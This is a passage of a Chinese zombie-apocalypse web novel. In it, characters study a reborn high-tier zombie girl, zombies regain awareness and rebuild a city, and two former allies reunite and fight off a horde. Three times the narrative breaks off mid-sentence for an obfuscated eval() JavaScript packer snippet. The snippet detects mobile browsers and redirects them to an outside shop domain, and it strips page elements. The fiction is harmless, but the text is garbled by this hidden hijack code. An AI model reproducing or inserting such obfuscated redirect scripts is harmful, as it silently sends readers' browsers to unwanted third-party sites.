那张脸……啊,那张脸……黑色血管藤蔓般爬满了那张脸,眼球上翻,同样染上了疯狂的青黑色。 喉间发出“嗬嗬”的窒息声响,嘴大张着,淌着口水的舌头蛇般甩动,舌面上长满原本只有食肉兽才拥有的密集倒钩,长度远超正常人类能到达的极限。 …… ……然后呢? 我是谁? “它们醒了。”钱雨青身体前倾,将体重交给手肘下的栏杆承担。 “我还是不认为叫醒它们是个好主意。”乌鸦总是在她身边。 “优秀的成年丧尸该对自己的尸生负责,”钱雨青说,“按照我们大科学家的理论,独立意识的回归会阻碍高阶生物命令的传达。所以它们在无意识时听从高阶丧尸的命令约等于,植物人的身体被当成遥控机器人用了,听起来太可怕了不是吗。” “无法反驳。就是不知道,它们觉得被控制可怕,还是一醒来就发现自己成了丧尸更可怕。”乌鸦说。 说不定这不必是单选题,也许这两种情况都挺可怕的。 沈修明的杰作“杀虫剂”与丧尸病毒本身一样具有感染性,以药剂的投放点为中心,越来越多的丧尸正在苏醒。 用僵硬残缺的喉舌发出与人类语言截然不同的嘶吼交流,用形态各异的手脚肢体移动,用不再新鲜而富有弹性的大脑重新开始思考。 无论如何,它们活了过来。 “它在说什么?”钱雨青往下一指,一个穿着破烂西装的丧尸正在仰天长啸,癫狂的样子即使在群魔乱舞的丧尸群中都疯得鹤立鸡群。 “它说的一直是同一句话……‘我是谁’。”一道飘忽不定的声音说。 一个矮小干瘪的身影从黑暗之中走出,鲜红的瞳孔和死白发青的肤色勾勒出其人身份的不祥。如果许怀嘉在这里,一定会觉得这张脸该死的熟悉,因为它的五官与当初那个孕妇的五官至少有八分相似,却稚嫩许多。 钱雨青从口袋里抽出小本子,用钢笔嘟嘟囔囔地记:“苏醒副作用可能包括记忆缺失……” “啊,他扯掉了自己的脑袋。为什么他那么悲伤?”孩童模样的丧尸走到态度冷淡的人类身边,紧挨着她的腿站住,一手放在耳后,做出侧耳倾听的动作,“他的声音消失了。” 笔尖一顿,钱雨青扫了楼下的场景一眼,接着写:“可能会发生种族认知障碍。” “他不想承认自己的种族吗?”它仰起头,锲而不舍地问。 人类用低沉的声音回答:“娜斯佳,不是所有人都像你一样。” “这是称赞,还是贬低?”它歪头,分辨不出语言中蕴含的情感色彩。 “两种都不是,”钱雨青轻轻拍了拍她的头,“这只是事实。” 到达R市的那个傍晚,不速之客们在某个居民楼下发现了一只正在进化中的丧尸。借着处理丧尸的借口,钱雨青接过沈修明的眼神暗示,将它安置在楼下的一间废屋中,他们便是在那里完成了最初的研究。 “它还没有死。”沈修明惊奇地说。 “即使它失去了全部的大脑?”钱雨青也惊奇。 废屋的设备十分简陋,除了一个带锁的冰柜之外,便只有钱雨青从隔壁小学的科学实验室和校医室毛来的简易设备。当沈修明第一次看到满桌的试管烧杯、镊子和显微镜时,他露出了一个忧郁而为难的微笑。 “至少我不需要磁铁,你拿去玩吧。” 但即便如此,他还是凭借这些东西顽强地展开了研究,并试图用知识的光辉感化文盲小助手钱雨青。谢天谢地,有这样百折不挠的意志力,沈修明做什么都会成功的,她现在用滴管加试剂熟练地像在超市称了十年散货的售货员。 丧尸沉默地躺在拼凑出的桌板上,对研究者们的惊诧不置一词。 许怀嘉虽然怜悯被感染者的遭遇,下手可没有软弱留情。那两颗打招呼的子弹角度刁钻地掀飞了丧尸的头盖骨,里面白色的内容物汤汤水水地洒了一地。 “并非全部。”沈修明视线下移。 钱雨青追着他的视线看去,便看到孕妇隆起的肚腹:“……别告诉我这玩意儿还活着。” 算算时间,R市丧尸病毒爆发的时候,正撞上她怀孕七八个月的时候,属于倒霉蛋中的倒霉蛋之王。加上之后灾难发酵的一年多时间,这东西已经在母体里赖了超过两年时间,如果还能成活,莫不是真怀了个哪吒。 不要吧,难道继人类、莲藕、神仙、灵珠魔丸版本之后,三太子还能再出个丧尸SP版?蹭热度也不是这样蹭的,这个版本显然无人期待,只配在物理意义上胎死腹中。 “我不确定。这简直是个奇迹,我需要更多的时间。”沈修明说。 再然后,钱雨青带着沈修明潜入地形七拐八绕犹如迷宫的总部实验室,提前搜刮销毁不想让许怀嘉以及其他人找到的病毒原液和部分研究资料,再利用原液和资料熬大夜爆肝,反向推演抗毒血清的配置,紧赶慢赶才勉强在约定的时间内搞出成品。 等他们终于想起另一个小实验室里的孕妇丧尸,急匆匆回去查看情况时,就看到他们的实验体已经破茧成蝶了——字面意义上的破茧成蝶。 红色瞳孔的女孩坐在花朵般盛放的黑红色腐臭血肉之中,苍白的皮肤上遍布青黑色的血管,像一幢被大丛爬山虎缠绕的鬼屋,透着一股非人的冷寂。见到两个站在原地不动的人类,它慢吞吞转过头,并不攻击,反而从喉咙里发出了“咯咯、嗬嗬”的刺耳响动。 “它好像在和我们说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470846|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”沈修明扬起一边眉毛。 “它……好……在……说……” “哇哦,”乌鸦蹲在钱雨青头上,干巴巴地说,“为什么她生下来就不是婴儿形态?” 这看上去得有七八岁了,哪吒都没这一键跳过童年的本事。 “哇……啊……” 他们把它带回了总部实验室,标记为1号。 高阶丧尸生来就能命令低阶丧尸,钱雨青用1号调整了总部大楼内丧尸的分布位置,为之后的“探索行动”做准备,而沈修明用他朝思暮想的正规器材,得出了最终结论:“这不是出生,而是重生。” 从母亲的腹中破茧而出的蝴蝶不是生命的延续,而是死灰的复燃。 就像每一个胎儿都曾经寄生在母亲的腹中,通过脐带相连,在许怀嘉杀死母体之后,1号残存的意识通过脐带逃往胎儿的脑海,反向寄生在了胎儿之中,并最终与它相融,完成了之前被打断的进化。 “如果不出我所料,1号的异能力就是‘复活与再生’。” “和不死者谈论复活像是个蹩脚笑话。” “哈哈,别这样说,我们都知道所谓的‘不死’有多名不副实,”沈修明将儿童绘本放在1号面前,“异能化的能力或许有所不同。” 钱雨青抗来前两天淘到的旧DVD机,打开幼教课程:“所以,它现在是自己和自己本来孩子的嵌合体?” “也许吧,暂时不清楚,”沈修明耸肩,“我们现在最应该做的是教育它,看看丧尸的本能是否可以被扭转。” 两人说罢,一同转头,看向沙发背上的乌鸦。 “怎么,这种时候又想起我了?”乌鸦冷笑,不从。 “求求你。”钱雨青说。 “求求你。”沈修明说。 “想得倒美。”乌鸦飞走了。 一刻也没有为你推我让的教育问题哀悼,接下来赶到战场的是紧张刺激的命名投票活动。 在率先联手否决了沈修明一大串叽里咕噜不知道什么语名字后,乌鸦与钱雨青的联盟随即破裂,钱雨青起的“姜僵僵”同样立刻被二比一票否决。 “不准给1号起ABB式名字!”沈修明伸手指指责钱雨青。 钱雨青“啪”地打掉他的手,大声反驳:“这不是ABB式,这是AAA式!懂不懂3A的含金量啊这孩子以后强度一定是超大杯!” “那你怎么不干脆叫它AAA超级无敌破坏金刚王?还有没有审美了,我给它起的是贵族名!”沈修明分毫不让,抓起白大褂刷刷挥舞,绕着沙发开始闪转腾挪。 “嚯!”钱雨青追在后面用风衣外套抽他,发出十分刻薄的冷笑,“现在是新时代了好不好,什么贵族不贵族的,到时候打架自报家门就得两分钟,你怎么不干脆叫它冰晶梦泪殇蝶血月?” “他们……在、干什么?” 1号抱着乌鸦坐在沙发上,脖子转来转去,看得脑袋直发晕。 “别管了,他们都只在乎自己,”乌鸦平静看着两个人来疯冲出房间,安慰道,“让我想想……以后你就叫‘阿纳斯塔西娅’,好吗?如果钱雨青嫌长,让她叫你‘娜斯佳’,如果沈修明反对,你就和他说这是个高贵的名字,寓意是‘复活’。” 在好一阵艰难的思考理解和记忆后,阿纳斯塔西娅郑重点头:“我记住了。” 她是复活,是奇迹,她和别人不一样。 11. 11 末日与丧尸与新工作10 人类能在地球的物种争霸竞赛中获得胜利不是没有原因的。在短短几天的骚动过后,仍然想要继续“活”下去的丧尸们开始重建T市的秩序。 电力点亮沉寂许久的城市,车流像洄游的鲑鱼回到栖息地,重新在马路上汇聚、游动起来。 比起种族内斗,大环境才是最残酷的筛选机制。想要在残酷的丧尸潮中存活下来,异能也好,指挥才能惊人也好,单纯体能过人也好,幸存者们在战斗方面个个有两把刷子。 但所谓有所得必有所失,武力方面顶尖,其他方面就多半平平无奇。而一个拥有顶尖力量的异能者永远不会在衣食住行方面被亏待,也基本不会将大部分时间花费在改善其他人的生活条件上。 另一方面,在灾变之前,人类社会对技能掌握要求高度分化,产业链条环环相扣,一个在机械制造方面称得上天才的人未必懂得从零开始打铁,一个对种地颇有心得的农民也不一定懂得怎么制作肥料或者配置哪怕最简单的杀虫剂。更糟糕的是,这些拥有关键知识的人多半非常不能打。 结果便是这些分散在各处的零星高精尖技术型人才成了香喷喷的鸡肋,丢掉舍不得,拿着又用处不大。 直到现在,大部分避难所中,幸存者的食物仍然依赖于探险队在城市废墟里九死一生翻找出的收获或是植物系异能者的少许产出。对于底层的普通人而言,偶尔能吃一顿罐头午餐肉已经是难得一见的好运气了。 于是,除了日程表——现在叫“夜程表”可能更合适——昼夜颠倒,丧尸们的生活水准已经全面超越真正的幸存人类了。 这些在灾变中首先被吞没消亡、平平无奇的普通人们,是人类社会这栋摩天大楼率先被冲毁的地基,是名贵的花与树木下丛生的杂草,是链条中密密匝匝的齿轮,是肉眼不可见的空气,也是“秩序”本身最不可缺少的一部分。 丧尸的舌头只能尝得出生血肉的味道,人类赖以生存的食物不再是生活必需品,而日渐虚弱的阳光反而延长了丧尸的活动时间。 丧尸们最大的支出变成了电费。低温可以减缓丧尸身体的腐烂速度,空调整日运转不停,就连身体强壮如钱雨青,去逛一趟超市出来都要连打好几个大喷嚏。 这几天娜斯佳就像一条终于被放出笼的比格犬,每晚都兴奋地在T市横冲直撞。 R市的生活对一个实际上刚出生不久的孩子来说实在太枯燥了。 钱雨青和沈修明绝大多数时间都在忙碌,虽然看着性格活泼,但总是顾左右而言他,就算对着白纸一样的阿纳斯塔西娅,为数不多的交谈中还是谜语和怪话占了九成九。 乌鸦则是单纯话少爱沉默,一开口要不是鸡娃就是哲学思辨,结果阿纳斯塔西娅反而最怕它。 第一次见到可以自由交流的同类,对幼小的高阶丧尸来说简直就是天堂。乌鸦说它的教育可以暂时告一段落,沈修明则想观察它在野外的表现如何,钱雨青最直接,把它放出去,让它自己出去“建功立业”,鼓励它直接掌控T市。 虽然外表看起来和普通人类相似,但丧尸终究已经变成了和人类截然不同的存在。高阶丧尸天生就对低等丧尸有着绝对的压制力,就算理智恢复也威力不减,它们能不“噗通”一声跪下来对娜斯佳高呼万岁就算成功。 “果然人力资源才是重建秩序最重要的一环。它们甚至开放了银行,允许尸们贷款购买大冰柜和福尔马林。”钱雨青放下望远镜,左耳里塞着耳机。 “本性真是完全没有变化呢,”沈修明带着轻微电流的声音感慨,“所以,‘鱼’上钩了?” 钱雨青笑道:“不仅上钩了,看来还是熟鱼啊。” 从口袋里掏出钩爪枪,逆着夜风的方向在高楼间敏捷地移动,钱雨青猫一样轻巧无声落地,高举双手自夸道:“十分!” “钱……雨青?” “好久不见,嘉嘉。” 荒无人烟的废弃仓库中停着三辆外表饱经风霜的面包车,空地中央生着一堆篝火,全副武装的队员们围坐在一起,空气中弥漫着煮豆子和牛肉罐头的混合气味。 未投递过拜帖的客人没有遮掩自己的身型,在出现的第一时间就被异能和武器对准,但她仍旧强硬顶着警惕和敌意的目光走上前,笑得意味深长。 “这是什么鬼东西?!”人群中传出低声的咒骂。 钱雨青在夜晚的威慑力不是盖的,掌控危机感的神经在人类的脑中失灵一般不断尖叫,她唯一没有被直接轰成渣的原因,除了她有一双属于人类的黑眼睛外,就只有首领的招呼声了。 “没想到在这里见到你。”许怀嘉眼神复杂。 不到一年时间,她看起来和之前已经全然不同了。 或许是有某种太过沉重的东西压在她的肩头,许怀嘉嘴角浅淡的笑容透着近乎喘不过气的苦闷,眉眼即使舒展开来,眉心处也留下了无法抚平的竖痕。钱雨青眼尖地看见了藏在她发丝间的白色。 她环视着周围其他人的面容,决定哪壶不开提哪壶:“居然一张熟悉的脸都没有啊!” 许怀嘉的身体顿时绷紧,四周的温度霎时冷却,其他队员的目光也加倍刺人起来,她听着耳机里沈修明了然的笑声,突然,有人低声惊呼:“是你!” 钱雨青好奇地看向她:一个短发的女人,不认识。 女人神色复杂地说:“你应该不记得了,当时你到H市找沈修明的时候顺便救了我们一命。” 听了短发女人的话,她身后的一个女人和另一个男人露出恍然大悟的表情。钱雨青也跟着露出恍然大悟的表情:“啊,你是……” 她神色自若地停下,毫不心虚地看着短发女人,眼神像是在说“到你了”。 女人勾起嘴角,自我介绍道:“林涵,异能是操控冰。” 钱雨青点头:“林涵。” “沈修明还好吗?” “好极了,还是和以前一样整天一惊一乍的。” 林涵:“我们现在也过得好极了。我听说,是你劝说队长建立避难所的?” 钱雨青想了想,承认道:“好像是有这么回事。” “我由衷地感激这件事。”林涵友好地笑了。 随着两人的一问一答,紧绷的气氛逐渐松弛下来,直到钱雨青承认自己给许怀嘉出过主意后,人群终于恢复了平静。 “看来你很得民心嘛。”钱雨青扭头对许怀嘉说。 已经冷静下来的许怀嘉笑了笑,对她比了个手势:“我们去另一边谈吧?” 她没有遮掩自己分别后的经历。反正这都不是什么秘密,钱雨青不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470847|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,一方面是R市环境凶险而封闭,连血清带来的诱惑力都失去后,路过的十有八九都是消息不灵通的小鱼小虾,另一方面则纯粹是因为她对许怀嘉毫不关心,从没想过要去专门打听。 “带血清离开R市后,我们多次遭遇了袭击。大概是因为他们觉得直接从我们手里抢,要比老老实实做交易划算许多吧,”许怀嘉在一根结实的钢筋上坐下,伸手抱住一条蜷起的腿,“哪怕我提出的条件在合理的限度内,绝不会让他们为难。” “那段时间我的风评也很糟糕,贪得无厌的吸血鬼也是让我当上了。”她不欲在这个话题上纠缠,说得云淡风轻,但脸上不自觉浮现的苦涩出卖了她。 对于许怀嘉这样赤诚的人来说,精神上的痛苦远比身体上的痛苦更难忍受。 “不难想象。”钱雨青说。 “莎莎……孟莎就是那时候死的。有人说愿意加入我们,我刚好不在,她就替我去接待,结果死了。她的伤口在背后,是被偷袭的,”许怀嘉脸上没什么表情,也许她至今不知道该摆出什么表情才合适,“我追踪了很久,才给她报了仇。他们甚至不是其他想要血清的避难所派来的人,只是想要伸张正义的‘路人’。开什么玩笑……” “节哀。” 许怀嘉没有回应,继续道:“避难所建立后也不怎么顺利。人人都知道我们这里收留了最多的老弱病残,像块没骨头的肥肉。当时基地里最强的人只有我和沈修晏,只能天天连轴转,也不敢走远,轮流出去收集物资,平时负责警戒。但最忙的还是舒泽,他是医生,又要负责后勤,没日没夜地工作,谁都来麻烦他。那天我回去,沈修晏和我说舒泽想要放弃了,所以他就给了物资,让舒泽离开了。” 钱雨青撑着脸听她说着,突然插话道:“离开的不止是舒泽吧?” 许怀嘉的沉默代表了一切:“总有人一时脑热又后悔。强者在别的地方受追捧又潇洒,何必来我们这里没苦硬吃。” 加入新建立的避难所成为元老是常见的投机方法,但许怀嘉的情况一开始就腹背受敌,连偷偷壮大的发育期都没有,抗得住事的人个个都称得上是饱受虐待,回报为零,于是半路放弃便成了必然。 “那是避难所的第一次分裂,除了物资,舒泽带走的全是有战斗力的人。沈修晏同意舒泽的要求时完全没有问过我的意见,我和他吵架,但他觉得他有资格支配他带回来的那部分物资,我……我不知道要怎么反驳他。那时候基地能用的人手实在太少了,经不起更大的动荡,我不能跟他争到底。” 钱雨青问:“舒泽去哪了?” “别的避难所。沈修晏总算没大方到底,把血清也给出去。”许怀嘉轻轻叹气。 命运真是神奇,钱雨青和沈修明之前觉得许怀嘉没有下属,只有朋友,个个对她亲近有余恭敬不足,现在的她反而变得只有下属,没有朋友了。空地旁的那群人对她肉眼可见的忠诚,称得上是令行禁止,但这些接近抱怨和软弱的倾诉,她竟然只能说给勉强称为朋友的钱雨青听。 “所以,沈修晏去哪了?” 许怀嘉没有马上回答,仰起头看着天空。不远处的T市已恢复了灯火通明的嘈杂,星星再度隐没,夜幕之上又只剩下一轮孤月。 “他死了,”她最后说,“我杀的。” 12. 12 末日与丧尸与新工作11 很难说许怀嘉脸上为什么露出了近似破釜沉舟的表情。 但钱雨青别的优点没有,至少从不用道德审判别人,所以她只是说:“这样啊。” 许怀嘉满脸复杂地看着她:“你难道没有感想吗?” “我应该有什么感想?”钱雨青挑眉,“或者说,你想我有什么感想?” “算了,你总是这样,”许怀嘉移开视线,凝视着空无一物的角落,“舒泽离开之后,避难所处在崩溃的边缘,剩下的人凝聚力反而更强了。那段时间基地运转很平稳,大家齐心协力,陆陆续续达成了几笔血清的交易,也有越来越多的成员加入,战斗力终于没那么稀缺了。林涵他们就是那时候来的,实在帮了我很多……一切都在变好。” 钱雨青说:“但是。” 许怀嘉勾起一点没有温度的笑,接口道:“但是,隐患始终存在。” “你和沈修晏有矛盾。” 许怀嘉像是突然想起了什么,问道:“你们……你和沈修明,是不是从一开始就看出我们会决裂了?” 灾厄降临得太快,把所有人的命运匆匆推向另一条截然不同的路。 这几个月,她总是一遍又一遍地想起曾经的朋友们。如果一切尚在正轨,他们只会在毕业季为找工作和考研焦头烂额,而不是在生死之间游走,奔波劳碌。 只是普通的同学,普通的感情,不必生死相托。他们可能会友谊长久,也可能会渐行渐远,直到几十年后在某个聚会上再见一面,笑着和对方说“好久不见”。 但她已经亲手将朋友送进了坟墓,所以他们的未来成了一个注定不会再有答案的迷。 钱雨青说:“倒没看出决裂那么严重,不过你们会有分歧这一点,还是很容易看得出来的。” 许怀嘉点头,抿紧嘴唇:“我们吵了一架,他说我太冲动了。” 钱雨青好笑地听着她的遮掩,不甚在意地挑破:“他说的应该是我和他哥故意出谋划策要害你们,结果你真的一时冲动,毫无准备地就建立避难所,才导致他现在活得那么苦。对吧?” 许怀嘉又笑,这次是无奈的苦笑:“抱歉,急躁的人只有我自己。” 一个耳根子软、容易被他人说服的人是做不成首领,也无法逆势而上的。许怀嘉只是长得温柔好说话,骨子里却是十成十固执,撞了南墙也不回头的人。 建立避难所,贯彻自己的理想,是她长久以来的谋划,无论是基地据点还是人员配置都早有雏形,只是当初突如其来的血清事件打乱了她原本的计划。 “现在想想,那个小避难所随随便便派几个人就想要带走血清,简直是痴人说梦。只有我信以为真,如临大敌,害怕他们真能成功,拼了命硬是把血清抢了出来。” 难怪当初听到风声的其他组织都只是派遣了小队前来侦查,想来根本没人相信,只是以防万一。 结果还真出了万一。 许怀嘉喃喃:“明明杀几个人就能解决的事……” “后悔了?”钱雨青问。 许怀嘉摇头:“雨青,你不必自责。我听了你的意见,只是因为我确实想这样做。当时确实是前所未有的好时机,如果没有血清换来的大批物资,我们不可能发展得这么迅速,在一年内就长到现在的规模。” 钱雨青赞同地点点头。 当时的许怀嘉已经忍耐到了极限,正在为建设避难所耗时太长,无法短期就发展起来苦恼得团团转。她出的主意虽然需要人疯狂抗压,但却完美切中了许怀嘉迫切的需求,才会被立刻采纳。 虽然她平时喜欢装聋作哑,表现出社会化程度不高的本性,但可不要因此小看她关键时刻揣摩人心的情商啊!说的就是你,仗着高智商成天把人当傻子看的沈修明! 人活着就必须要吃要穿,要安全感,要能够遮风挡雨的栖息地。 许怀嘉又不是什么种田流主角,能无中生有一键开荒灵田,或者圈出绝对安全不可被入侵的地盘一键盖楼,要是隐姓埋名地慢慢苟着发育,安全是安全,一年时间,别说世界闻名的大基地,当个贫困村村长都够呛。 “说到血清,你们的研究还顺利吗?”钱雨青顺着沈修明唠唠叨叨的要求提出疑问。 说起这个,许怀嘉挺直腰背,正色道:“不顺利,各地的研究进度几乎完全停滞了。其中有很多成分完全解析不出来,大半年时间连复制生产都勉强。你们呢?” 钱雨青说:“我们那管血清原样存着呢,根本没人研究。” 一个艺术生,一个武斗派,压根没人对他们有期待,许怀嘉得到这个答案没有半点失望,反而安慰道:“保存着就是一道难得的保障了。但奇怪的是,有基地找到了几个当初研究丧尸病毒的研究员,他们居然说血清蕴含的科技超越了时代,他们也无能为力。” 钱雨青喷笑:“什么啊,难道血清是外星人做的?” 许怀嘉也笑:“他们原本在实验室里就不是什么关键人物,不知道也没办法,这已经是我们能找到的最好的选择了。” 说完,她撑着膝盖站起来,钱雨青知道这是叙旧告一段落的意思,跟着起身:“所以,你们为什么来T市?” “我以为显而易见,”许怀嘉望着灯火通明的城市,“其实我们原本只是意外路过……你对这个情况知道多少?” 钱雨青把话还给她:“我以为显而易见。丧尸们醒了,不是‘觉醒者’的那种醒来,就只是单纯恢复了意识。” 许怀嘉皱眉,脑中转着念头:“所以,它们现在是可以交流的?” “可以,但不建议,”钱雨青说,“丧尸对原本的人类身份失去了认同感。如果你走到它们面前,大概和走进狮子笼的活兔子没什么区别。不过好在,丧尸只是对近处的活物有攻击欲望,不必靠吃人谋生。” “那你……?” 钱雨青打了个呼哨,乌鸦扑棱棱落在她的手臂上,补全了回答。 “但我还是得亲眼去看看,”许怀嘉露出头疼而担忧的表情,“为什么会出现这样的情况……” “那我带你进去吧,我知道安全的路。” 钱雨青把钩爪枪抛给许怀嘉,许怀嘉没有拒绝,回到临时营地井井有条地指挥队员们加固营地,轮流警戒,告知要多停留几天再回去。 等她再回来的时候,只有林涵跟在后面。 “看来最需要钩爪枪的人是我,”林涵拿着小道具朝钱雨青晃晃,“你不介意吧?” “当然不。” 钱雨青没再废话,将手臂一举,乌鸦得到信号,振翅起飞。随即,她在两个女人面前融化,藏进了乌鸦的影子里。 乌鸦的红眼睛轮动,看向大吃一惊的许怀嘉和林涵,冷漠道:“跟我来。” T市的夜晚灯火辉煌,车水马龙。商业街人流如织,熙熙攘攘。破碎的断壁残垣尚未被清走,重建的脚手架就已经覆盖了城市的疮疤。 如果在街上缓慢行走的并非用吼叫交流的丧尸,而是普通人类,这里看起来恐怕快和灾厄降临之前区别不大了。 “别让它们闻到你们。”乌鸦在钟楼顶收拢翅膀。 许怀嘉呆呆地看着下方的景色,像是怕惊扰了什么似的轻声问:“因为它们会失控?” “因为它们会显露本性。”乌鸦答。 “但它们看起来还有正常的感情,”林涵指着街上牵着父母的手的孩童模样小丧尸,“我不明白,如果他们有理智,有记忆,用着原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470848|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本的身体,为什么会对人类的身份失去认同?” “忘本是人之常情,有什么奇怪的。”乌鸦不情愿地说完这句话后诡异地沉默了。好在旁边的两个人都各自沉浸在思绪之中,没有注意到这一点微妙。 “既然如此,它们现在对人类是什么看法?”许怀嘉问。 “街头采访?我支持。”林涵说。 雷厉风行的人总是说干就干,两分钟后,一只丧尸悄然消失在漆黑的小巷之中。 林涵将布条一拧,勒进被五花大绑的丧尸大张的口中,许怀嘉把手竖在脸前扇风,忍着灰尘轻轻咳嗽,关上门,打开灯,一间简陋的审讯室就此完成。 丧尸不断挣扎着,一双眼控诉地看着绑架者。 “好吧女士们,我们忘了一件事,”乌鸦站在柜子顶上,“丧尸平时可不是用人类语言交流的。” 低等丧尸的舌头已经僵硬,没办法灵活地发出多变的音节。 许怀嘉没有放弃,蹲下身问道:“你听得懂我们说话吗?” 丧尸的眼珠滴溜溜乱转,喉间发出咕噜咕噜的声响,过了一会儿,大概是意识到面前的人类没有理解它的回答,于是它慢慢地点了点头。 “WTF。”林涵脸部肌肉抽搐着,不知在感慨什么。 “我们不想伤害你,”许怀嘉一字一句地说,“我们是友好的。你也是人类,你明白的,对吗?” 丧尸又点头。 许怀嘉看了林涵一眼,绕到它无法攻击的地方,□□怼上它的脑袋,林涵则小心地解开了丧尸的束缚。 空气中弥漫着腐臭味,口水从丧尸的嘴角滴落,真想不通它们怎么还能分泌这玩意儿。它看了两个神色紧绷的人类一眼,又看了看居高临下的乌鸦,慢吞吞从口袋里掏出手机开始打字。 很快,机械的电子音响彻房间:“你们害我上班要迟到了。” 林涵一瞬间有些被噎住:“呃,抱歉?” “算了,你们想问什么?” “你还记得自己是怎么醒来的吗?”时间紧迫,许怀嘉直入主题。 “不,完全不。我就只是醒来,记忆停留在被袭击的那一天。” “……然后你们就又开始上班?” 丧尸鄙视地看了林涵一眼:“不然?再弄死自己一次?” 两个女人恍惚了。除开腐烂的外表,丧尸的表现和人类毫无二致。她们仍然牢记着钱雨青的话,不会放下警惕,但也无法再把它们当成全然的死物看待。 一阵沉默后,许怀嘉回神道:“对了,你可以克制住对我们的攻击欲望,是不是?” 冰冷的AI音回答:“如你所见。” 林涵张嘴,还想再问些什么,乌鸦却突然动了动,命令道:“解决它,我们必须得走了。” “什么?”林涵扭头看着黑鸟,“你怎么能——她有理智!” “我在老地方等你们。” 乌鸦没有辩论的欲望,化为黑影,从紧闭的窗的缝隙间流淌出去。 窗外,窸窸窣窣的声响正在逼近。 脑后传来尖锐的风声,随后是“砰、砰”两声枪响,冰棱爆开,被击退的丧尸趴伏在地上,发出刺耳的嘶吼,又以极强的爆发力猛逼上前。理智并未退去,与漆黑的贪婪渴望一同占据了它漆黑的眼瞳。 “它在思考!它会思考!”许怀嘉吼破了音。 在钢筋铁骨的加持下,有智力的丧尸远比没有智力的版本更难缠,而它们同样悍不畏死。 冰刃刺穿丧尸坚硬的颅骨,有什么东西不断狠狠撞在锁好的门上,撞出了一个又一个可怕的凹陷。 这里已经坚持不了多久,许怀嘉和林涵对视一眼,默契地冲向身后的楼梯。 13. 13 末日与丧尸与新工作12 无数的丧尸正蜂拥而至。 “我就知道它会通风报信的,”钱雨青站在某处屋顶,低头看着小巷中狂欢般的空前盛况,“现在她们一定明白丧尸究竟是什么了。” 乌鸦说:“我还是不明白。” 钱雨青抚摸它的羽毛:“就和恶鬼一样。就算生前有感情,死了仍然会害你。可能会有例外,但比例实在太小了,完全可以忽略不计。” “我也不明白那个,”乌鸦说,“就算是死,人怎么能背叛自己的灵魂?” “噢,我明白了,”钱雨青拖长声音,“你早就知道,只是你拒绝去认同。” “轰隆”一声巨响,许怀嘉从二楼的窗户冲出,林涵紧随其后。冰与金属的相性并不怎么好,她们只能一个人负责一边,各自为营。好在她们打探情况时本就选择了靠近城市边缘的区域,要脱身不需要跨越千山万水。 但丧尸的数量实在太多,好似无穷无尽。 它们没法赢,却也不会输。再这样下去,在她们成功脱身之前,就会因异能使用过度力竭而死。 刚刚开始复苏的城市再度惨遭重创,建筑物摇摇欲坠,然后垮塌,原本平整的路面变得坑坑洼洼。 “你知道我在想什么吗?”钱雨青露出一个有些兴奋的笑容。 乌鸦斜她一眼:“祝你玩得开心?” “承你吉言。” 钱雨青扯开一枚闪光弹的拉环,轻快地抛进丧尸漩涡的中心:“SURPRISE!” 如同奔腾的瀑布被拦腰截断,巨大的光芒、巨大的声音使得丧尸群被撕开一道裂痕,处在爆炸范围内的丧尸暂时停止了动作,而更多双漆黑的眼睛整齐划一地看向第三个主动现身的人类。 抓住转瞬即逝的时机,许怀嘉和林涵没有犹豫,立刻向拦截最薄弱的方向全力攻击,突围而出。 “在看哪?跟我来!”钱雨青狂笑起来,却不是对着其余两个人类说话。 转瞬间,她开始奔跑,闪电一般从一栋高楼跳向另一栋高楼,姿态舒展得彷佛在飞翔。黑色的障刀出现在她手中,划过半空时“叮叮当当”割出一片火星。 紧接着,她并未翻滚卸势,而是“咚”的一声悍然落地,远处的两人才看清钱雨青对面还有一道陌生的黑影。 “欢迎来到我们的城市,陌生人。” 血红的双眼已昭示来者的身份,看来“杀虫剂”钓来的鱼,除了人类,还有之前始终销声匿迹的高阶丧尸们。 钱雨青上下打量着它:“倒是比你的同类得体很多。” 面前的高阶丧尸生前应该是个成年男人,体型粗壮得像一台开上了天台的坦克,却故作潇洒地穿着一条长风衣和皮鞋,着装风格居然和钱雨青有些相似,这让她有一点不开心。 它用带着一丝嫌弃的语气说:“别把我和它们相提并论。” “谁知道呢。”钱雨青毫无征兆地从腰间抽出一把精心保养的玛蒂尔达,转眼间就对着坦克打空了一个弹匣,“这可是我花了好多时间才找到的同款,给个面子吧?” 她的手既稳又准,高阶丧尸的漂亮风衣很快成了一片饱受摧残的破抹布,可惜风衣里面的内容物并未受到多少损伤。遗憾地“啧”了一声,钱雨青珍爱地把武器插了回去。 